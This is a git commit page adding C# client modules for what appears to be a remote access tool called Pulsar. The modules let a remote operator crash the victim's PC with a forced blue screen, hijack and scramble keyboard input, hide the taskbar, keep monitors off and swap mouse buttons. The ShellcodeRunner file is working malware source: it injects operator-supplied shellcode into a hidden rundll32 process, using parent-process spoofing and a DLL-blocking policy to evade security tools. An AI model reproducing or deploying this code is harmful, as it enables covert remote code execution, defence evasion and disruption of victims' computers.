initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public class BSOD
|
||||
{
|
||||
[DllImport("ntdll.dll")]
|
||||
private static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool Enabled);
|
||||
[DllImport("ntdll.dll")]
|
||||
private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
|
||||
|
||||
public unsafe void DOBSOD()
|
||||
{
|
||||
bool t1;
|
||||
RtlAdjustPrivilege(19, true, false, out t1);
|
||||
uint resp;
|
||||
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out resp);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public static class ChangeWallpaper
|
||||
{
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
||||
|
||||
private const int SPI_SETDESKWALLPAPER = 20;
|
||||
private const int SPIF_UPDATEINIFILE = 0x01;
|
||||
private const int SPIF_SENDCHANGE = 0x02;
|
||||
|
||||
public static void SetWallpaper(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
throw new ArgumentException("Path cannot be null or empty.", nameof(path));
|
||||
|
||||
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public class HideTaskbar
|
||||
{
|
||||
private const int SW_HIDE = 0;
|
||||
private const int SW_SHOW = 5;
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int FindWindow(string className, string windowText);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int ShowWindow(int hwnd, int command);
|
||||
|
||||
public static void DoHideTaskbar()
|
||||
{
|
||||
int taskbarHandle = FindWindow("Shell_TrayWnd", "");
|
||||
int startButtonHandle = FindWindow("Button", "Start");
|
||||
|
||||
if (taskbarHandle != 0)
|
||||
{
|
||||
int taskbarState = ShowWindow(taskbarHandle, SW_HIDE);
|
||||
int startButtonState = ShowWindow(startButtonHandle, SW_HIDE);
|
||||
|
||||
if (taskbarState == 0 && startButtonState == 0)
|
||||
{
|
||||
ShowWindow(taskbarHandle, SW_SHOW);
|
||||
ShowWindow(startButtonHandle, SW_SHOW);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
internal class KeyboardInput : IDisposable
|
||||
{
|
||||
private const int WH_KEYBOARD_LL = 13;
|
||||
private const int WM_KEYDOWN = 0x0100;
|
||||
private const int WM_KEYUP = 0x0101;
|
||||
private const int WM_SYSKEYDOWN = 0x0104;
|
||||
private const int WM_SYSKEYUP = 0x0105;
|
||||
|
||||
private IntPtr _hookID = IntPtr.Zero;
|
||||
private bool _isBlocked;
|
||||
private readonly LowLevelKeyboardProc _hookProc;
|
||||
private Random _rng = new Random();
|
||||
private Thread _hookThread;
|
||||
private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false);
|
||||
|
||||
public KeyboardInput()
|
||||
{
|
||||
_hookProc = HookCallback;
|
||||
}
|
||||
|
||||
public bool IsKeyboardDisabled => _isBlocked;
|
||||
|
||||
public void EnableKeyboardBlock()
|
||||
{
|
||||
if (_isBlocked) return;
|
||||
|
||||
// Start the hook in a separate thread
|
||||
_hookThread = new Thread(InstallHook)
|
||||
{
|
||||
Name = "KeyboardHookThread",
|
||||
IsBackground = true
|
||||
};
|
||||
_hookThread.Start();
|
||||
|
||||
// Wait for hook to be installed
|
||||
_hookReadyEvent.WaitOne(1000);
|
||||
_isBlocked = true;
|
||||
}
|
||||
|
||||
public void DisableKeyboardBlock()
|
||||
{
|
||||
if (!_isBlocked) return;
|
||||
|
||||
if (_hookID != IntPtr.Zero)
|
||||
{
|
||||
UnhookWindowsHookEx(_hookID);
|
||||
_hookID = IntPtr.Zero;
|
||||
}
|
||||
|
||||
_hookThread?.Join(1000); // Wait for thread to finish
|
||||
_hookThread = null;
|
||||
_hookReadyEvent.Reset();
|
||||
_isBlocked = false;
|
||||
}
|
||||
|
||||
public void ToggleKeyboardBlock()
|
||||
{
|
||||
if (_isBlocked) DisableKeyboardBlock();
|
||||
else EnableKeyboardBlock();
|
||||
}
|
||||
|
||||
public void Handle(DoBlockKeyboardInput message)
|
||||
{
|
||||
if (message.Block) EnableKeyboardBlock();
|
||||
else DisableKeyboardBlock();
|
||||
}
|
||||
|
||||
private void InstallHook()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (Process process = Process.GetCurrentProcess())
|
||||
using (ProcessModule module = process.MainModule)
|
||||
{
|
||||
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc,
|
||||
GetModuleHandle(module.ModuleName), 0);
|
||||
}
|
||||
|
||||
if (_hookID == IntPtr.Zero)
|
||||
{
|
||||
throw new Exception("Failed to install keyboard hook");
|
||||
}
|
||||
|
||||
_hookReadyEvent.Set(); // Signal that hook is ready
|
||||
|
||||
// Start message pump to keep the hook alive
|
||||
Application.Run();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine($"Hook thread error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
if (nCode >= 0 && _isBlocked)
|
||||
{
|
||||
// Grab the key data
|
||||
int vkCode = Marshal.ReadInt32(lParam);
|
||||
|
||||
// 1. Random key swap
|
||||
if (_rng.NextDouble() < 0.5)
|
||||
vkCode = _rng.Next(0x20, 0x7E); // random printable char
|
||||
|
||||
// 2. Simulate lag
|
||||
Thread.Sleep(_rng.Next(100, 500)); // 100–500ms random lag
|
||||
|
||||
// 3. Optionally inject fake key
|
||||
if (_rng.NextDouble() < 0.3)
|
||||
{
|
||||
SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter
|
||||
}
|
||||
|
||||
// 4. Swallow the original input
|
||||
return (IntPtr)1;
|
||||
}
|
||||
|
||||
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
private void SendKey(Keys key)
|
||||
{
|
||||
INPUT[] inputs = new INPUT[]
|
||||
{
|
||||
new INPUT
|
||||
{
|
||||
type = 1,
|
||||
U = new InputUnion
|
||||
{
|
||||
ki = new KEYBDINPUT
|
||||
{
|
||||
wVk = (ushort)key,
|
||||
dwFlags = 0
|
||||
}
|
||||
}
|
||||
},
|
||||
new INPUT
|
||||
{
|
||||
type = 1,
|
||||
U = new InputUnion
|
||||
{
|
||||
ki = new KEYBDINPUT
|
||||
{
|
||||
wVk = (ushort)key,
|
||||
dwFlags = 2 // KEYEVENTF_KEYUP
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
SendInput((uint)inputs.Length, inputs, INPUT.Size);
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct INPUT
|
||||
{
|
||||
public uint type;
|
||||
public InputUnion U;
|
||||
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
private struct InputUnion
|
||||
{
|
||||
[FieldOffset(0)] public KEYBDINPUT ki;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct KEYBDINPUT
|
||||
{
|
||||
public ushort wVk;
|
||||
public ushort wScan;
|
||||
public uint dwFlags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn,
|
||||
IntPtr hMod, uint dwThreadId);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
|
||||
IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
DisableKeyboardBlock();
|
||||
_hookReadyEvent?.Dispose();
|
||||
}
|
||||
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public class MonitorPower
|
||||
{
|
||||
private const int HWND_BROADCAST = 0xFFFF;
|
||||
private const int WM_SYSCOMMAND = 0x0112;
|
||||
private const int SC_MONITORPOWER = 0xF170;
|
||||
private const int POWER_OFF = 2;
|
||||
private const int POWER_ON = -1;
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
private Thread _monitorThread;
|
||||
private bool _keepOff;
|
||||
|
||||
public void Handle(DoMonitorsOff message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
if (message.Off)
|
||||
{
|
||||
_keepOff = true;
|
||||
|
||||
_monitorThread = new Thread(() =>
|
||||
{
|
||||
while (_keepOff)
|
||||
{
|
||||
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
|
||||
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF);
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_monitorThread.Start();
|
||||
}
|
||||
else if (message.On)
|
||||
{
|
||||
_keepOff = false;
|
||||
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
|
||||
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON);
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
}.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public class CDTray
|
||||
{
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
|
||||
private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback);
|
||||
|
||||
public void Handle(DoCDTray message)
|
||||
{
|
||||
try
|
||||
{
|
||||
string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed";
|
||||
mciSendString(cmd, null, 0, IntPtr.Zero);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("CDTray error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,381 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
using Pulsar.Common.Networking;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
internal class ShellcodeRunner
|
||||
{
|
||||
public void Handle(DoSendBinFile message, ISender client)
|
||||
{
|
||||
if (message?.Data == null || message.Data.Length == 0)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Error: Empty payload" });
|
||||
return;
|
||||
}
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CreateDedicatedProcess(message.Data, client);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Error: {ex.Message}" });
|
||||
}
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
}.Start();
|
||||
}
|
||||
|
||||
private void CreateDedicatedProcess(byte[] shellcode, ISender client)
|
||||
{
|
||||
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
|
||||
STARTUPINFOEX startupInfoEx = new STARTUPINFOEX();
|
||||
startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx);
|
||||
startupInfoEx.StartupInfo.dwFlags = 0x00000001;
|
||||
startupInfoEx.StartupInfo.wShowWindow = 0;
|
||||
|
||||
client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." });
|
||||
|
||||
string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647";
|
||||
|
||||
// Get explorer.exe PID and directory for spoofing
|
||||
var (parentPid, parentDirectory) = GetExplorerPidAndDirectory();
|
||||
client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" });
|
||||
client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" });
|
||||
|
||||
// Initialize attribute list
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
|
||||
|
||||
startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize);
|
||||
if (!success)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
IntPtr parentProcessHandle = IntPtr.Zero;
|
||||
IntPtr lpValueProc = IntPtr.Zero;
|
||||
IntPtr lpMitigationPolicy = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
// Set PPID spoofing
|
||||
parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid);
|
||||
if (parentProcessHandle == IntPtr.Zero)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}");
|
||||
}
|
||||
|
||||
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteIntPtr(lpValueProc, parentProcessHandle);
|
||||
success = UpdateProcThreadAttribute(
|
||||
startupInfoEx.lpAttributeList,
|
||||
0,
|
||||
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
lpValueProc,
|
||||
(IntPtr)IntPtr.Size,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
// Set block non-Microsoft DLLs policy
|
||||
lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);
|
||||
success = UpdateProcThreadAttribute(
|
||||
startupInfoEx.lpAttributeList,
|
||||
0,
|
||||
(IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
|
||||
lpMitigationPolicy,
|
||||
(IntPtr)IntPtr.Size,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
// Create process with extended startup info and spoofed directory
|
||||
success = CreateProcess(
|
||||
null,
|
||||
commandLine,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT,
|
||||
IntPtr.Zero,
|
||||
parentDirectory, // Use explorer.exe directory
|
||||
ref startupInfoEx,
|
||||
out procInfo);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"CreateProcess failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
// Continue with original shellcode injection logic
|
||||
InjectShellcode(shellcode, client, procInfo);
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Cleanup
|
||||
if (startupInfoEx.lpAttributeList != IntPtr.Zero)
|
||||
{
|
||||
DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList);
|
||||
Marshal.FreeHGlobal(startupInfoEx.lpAttributeList);
|
||||
}
|
||||
if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc);
|
||||
if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy);
|
||||
if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle);
|
||||
}
|
||||
}
|
||||
|
||||
private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo)
|
||||
{
|
||||
IntPtr remoteMemory = IntPtr.Zero;
|
||||
IntPtr remoteThread = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" });
|
||||
|
||||
remoteMemory = VirtualAllocEx(
|
||||
procInfo.hProcess,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
AllocationType.COMMIT | AllocationType.RESERVE,
|
||||
MemoryProtection.EXECUTE_READWRITE);
|
||||
|
||||
if (remoteMemory == IntPtr.Zero)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"VirtualAllocEx failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" });
|
||||
|
||||
uint bytesWritten = 0;
|
||||
if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten))
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes");
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" });
|
||||
|
||||
remoteThread = CreateRemoteThread(
|
||||
procInfo.hProcess,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
remoteMemory,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out uint shellcodeThreadId);
|
||||
|
||||
if (remoteThread == IntPtr.Zero)
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
throw new Exception($"CreateRemoteThread failed: 0x{error:X8}");
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" });
|
||||
|
||||
ResumeThread(procInfo.hThread);
|
||||
|
||||
CloseHandle(remoteThread);
|
||||
CloseHandle(procInfo.hThread);
|
||||
CloseHandle(procInfo.hProcess);
|
||||
|
||||
client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" });
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread);
|
||||
TerminateProcess(procInfo.hProcess, 0);
|
||||
CloseHandle(procInfo.hThread);
|
||||
CloseHandle(procInfo.hProcess);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
private (uint pid, string directory) GetExplorerPidAndDirectory()
|
||||
{
|
||||
Process[] explorerProcesses = Process.GetProcessesByName("explorer");
|
||||
if (explorerProcesses.Length > 0)
|
||||
{
|
||||
var explorer = explorerProcesses[0];
|
||||
string directory;
|
||||
|
||||
try
|
||||
{
|
||||
// Try to get the actual working directory of explorer.exe
|
||||
directory = Path.GetDirectoryName(explorer.MainModule.FileName);
|
||||
if (string.IsNullOrEmpty(directory))
|
||||
{
|
||||
// Fallback to Windows directory
|
||||
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Fallback to Windows directory if we can't access the process
|
||||
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
|
||||
}
|
||||
|
||||
return ((uint)explorer.Id, directory);
|
||||
}
|
||||
throw new Exception("No explorer.exe process found for PPID spoofing");
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CreateProcess(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
IntPtr lpProcessAttributes,
|
||||
IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
ProcessCreationFlags dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFOEX lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
uint nSize,
|
||||
ref uint lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr CreateRemoteThread(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out uint lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum ProcessCreationFlags : uint
|
||||
{
|
||||
CREATE_SUSPENDED = 0x00000004,
|
||||
CREATE_NO_WINDOW = 0x08000000,
|
||||
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum AllocationType : uint
|
||||
{
|
||||
COMMIT = 0x1000,
|
||||
RESERVE = 0x2000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum MemoryProtection : uint
|
||||
{
|
||||
EXECUTE_READWRITE = 0x40
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum ProcessAccessFlags : uint
|
||||
{
|
||||
PROCESS_CREATE_PROCESS = 0x0080,
|
||||
PROCESS_QUERY_INFORMATION = 0x0400,
|
||||
PROCESS_VM_READ = 0x0010
|
||||
}
|
||||
|
||||
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||
private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
|
||||
private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.FunStuff
|
||||
{
|
||||
public class SwapMouseButtons
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SwapMouseButton(bool swap);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetSystemMetrics(int nIndex);
|
||||
|
||||
private const int SM_SWAPBUTTON = 23;
|
||||
|
||||
public static void SwapMouse()
|
||||
{
|
||||
bool isSwapped = (GetSystemMetrics(SM_SWAPBUTTON) != 0);
|
||||
SwapMouseButton(!isSwapped);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user